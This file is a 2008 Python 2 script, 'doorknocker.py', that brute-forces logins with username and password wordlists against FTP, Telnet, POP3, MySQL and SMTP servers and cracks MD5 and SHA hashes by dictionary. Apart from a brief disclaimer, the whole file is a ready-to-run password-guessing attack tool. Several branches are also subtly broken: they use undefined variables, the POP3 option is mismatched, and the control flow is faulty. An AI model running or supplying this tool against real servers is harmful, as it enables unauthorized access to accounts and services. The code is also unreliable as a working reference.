#!/usr/bin/python
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
# Intended for authorized Web Application Pen Testing!
# You need to download the MySQLdb API from http://sourceforge.net/projects/mysql-python 
# save all users list at users.txt and passwords list at pass.txt in the same directory

import sys ,time , os,string,ftplib,telnetlib,poplib,hashlib,smtplib, socket
from smtplib import SMTP
from ftplib import FTP
import MySQLdb

if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
   SysCls = 'clear'
elif sys.platform == 'win32' or sys.platform == 'dos' or sys.platform[0:5] == 'ms-dos':
   SysCls = 'cls'
else:
   SysCls = 'unknown'

os.system(SysCls)

print "\n|---------------------------------------------------------------|"
print "| beenudel1986[@]gmail[dot]com                                  |"
print "|   10/2008      doorknocker.py                                 |"
print "|   Do Visit     www.BeenuArora.com      &        darkc0de.com  |"
print "|   Save Userlist at users.txt   and Password list at pass.txt  |"
print "|---------------------------------------------------------------|\n"


print "\n\t Enter the D00r\n"       
print "\n\t\t1. FTP"
print "\n\t\t2. POP3"
print "\n\t\t3. Telnet"
print "\n\t\t4. MySql"
print "\n\t\t5. SMTP"
print "\n\t\t6. Hash"
door=raw_input("\n Enter the Name: ")
door=string.upper(door)
if door=='FTP':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()

      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your for filename users.txt\n"
           sys.exit(1)

      try:
           words = open('pass.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your wordlist pass.txt\n"
           sys.exit(1)
      
      print "[+] Server:",server
      print "[+] User Loaded:",len(users)
      print "[+] Words Loaded:",len(words),"\n"
      try:
         f = FTP(server)
         print "[+] Response:",f.getwelcome()
      except (ftplib.all_errors):
         pass

      try:
         print "\n[+] Checking for anonymous login\n"
         ftp = FTP(server)
         ftp.login()
         ftp.retrlines('LIST')
         print "\t\nAnonymous login successful!!!\n"
         ftp.quit()
      except (ftplib.all_errors): 
         print "\tAnonymous login unsuccessful\n"
      for user in users:

         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               ftp = FTP(server)
               ftp.login(user[:-1], word[:-1])
               ftp.retrlines('LIST')
               print "\t\nLogin successful:",word, user
               ftp.quit()
               sys.exit(2)
            except (ftplib.all_errors), msg: 
               #print "An error occurred:", msg
               pass

if door=='TELNET':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()
      
      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your userlist at users.txt\n"
           sys.exit(1)
      try:
         words = open('pass.txt', "r").readlines()
      except(IOError): 
         print "Error: Check your wordlist pass.txt\n"
         sys.exit(1)
         
      print "[+] Server:",server
      print "[+] Users Loaded:",len(users)
      print "[+] Words Loaded:",len(words),"\n"
      for user in users:
         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               tn = telnetlib.Telnet(server)
               tn.read_until("login: ")
               tn.write(user + "\n")
               if password:
                  tn.read_until("Password: ")
                  tn.write(word[:-1] + "\n")
               tn.write("ls\n")
               tn.write("exit\n")
               print tn.read_all()
               print "\t\nLogin successful:",word, user
               tn.close()
               sys.exit(2)
            except: 
               pass
if door=='POP':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()
      
      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your wordlist users.txt\n"
           sys.exit(1)

      try:
         words = open('pass.txt', "r").readlines()
      except(IOError): 
         print "Error: Check your password file pass.txt\n"
         sys.exit(1)
         
      print "[+] Server:",server
      print "[+] User Loaded:",len(users)
      print "[+] Words Loaded:",len(words),"\n"
      for user in users:
         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               pop = poplib.POP3(server)
               pop.user(user)
               pop.pass_(word[:-1])
               print "\t\nLogin successful:",word, user
               print pop.stat()
               pop.quit()
               sys.exit(2)
            except (poplib.error_proto), msg: 
               #print "An error occurred:", msg
               pass

if door=='MYSQL':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()
      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your user wordlist users.txt\n"
           sys.exit(1)

      print '\n\t Enter the Port number'
      port=raw_input()
      database=raw_input("\n\t Enter the database\n")
      try:
         words = open('pass.txt', "r").readlines()
      except(IOError): 
         print "Error: Check your password wordlist pass.txt\n"
         sys.exit(1)
         
      print "[+] Server:",server
      print "[+] Users Loaded:",len(users),"\n"
      print "[+] Words Loaded:",len(words),"\n"
      for user in users:

         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               db=MySQLdb.connect(host=server,user=user,passwd=word,db=database,port=int(port))
               print "\t\nLogin successful:",value, user
               db.close()
               sys.exit(2)
            except(MySQLdb.Error), msg: 
               #print "An error occurred:", msg
               pass
if door=='SMTP':
      print "\n\t Enter the server address to be cracked"
      server=raw_input()
      try:
           users = open('users.txt', "r").readlines()
      except(IOError): 
           print "Error: Check your user wordlist users.txt\n"
           sys.exit(1)

      try:
         words = open('pass.txt', "r").readlines()
      except(IOError): 
         print "Error: Check your password wordlist pass.txt\n"
         sys.exit(1)
         
      print "[+] Server:",server
      print "[+] Users Loaded:",len(users),"\n"
      print "[+] Words Loaded:",len(words),"\n"
      for user in users:
         for word in words:
            try:
               print "-"*22
               print "User:",user,"Password:",word
               smtp = smtplib.SMTP(server)
               smtp.login(user, word)
               print "\t\nLogin successful:",user, word
               smtp.quit()
               sys.exit(2)
            except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg: 
               #print "An error occurred:", msg
               pass

if door=='HASH':
      print "\n\t Enter the algorithm (MD5, SHA1, SHA256, SHA384, SHA512) to be cracked"
      algo=raw_input()
      print "\n\t Enter the Hash to be cracked"
      pw=raw_input()
      print "\n\t Enter the name of the Dictionary List"
      wordlist=raw_input()
      try:
           words = open(wordlist, "r")
      except(IOError): 
           print "Error: Check your wordlist path\n"
           sys.exit(1)
      words = words.readlines()
      print "\n",len(words),"words loaded..."
      file=open('cracked.txt','a')
      if algo == 'md5':
         for word in words:
            hash = hashlib.md5(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")
      if algo == 'sha1':
         for word in words:
            hash = hashlib.sha1(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")
      if algo == 'sha256':
         for word in words:
            hash = hashlib.sha256(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")

      if algo == 'sha384':
         for word in words:
            hash = hashlib.sha384(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")
   
   
      if algo == 'sha512':
         for word in words:
            hash = hashlib.sha512(word[:-1])
            value = hash.hexdigest()
            if pw == value: 
               print "Password is:",word,"\n"
               file.write("\n Cracked Hashes\n\n")
               file.write(pw+"\t\t")
               file.write(word+"\n")

      
      

else:
   print "\n Sorry Wrong choice Entered . Exiting.."
   sys.exit(0)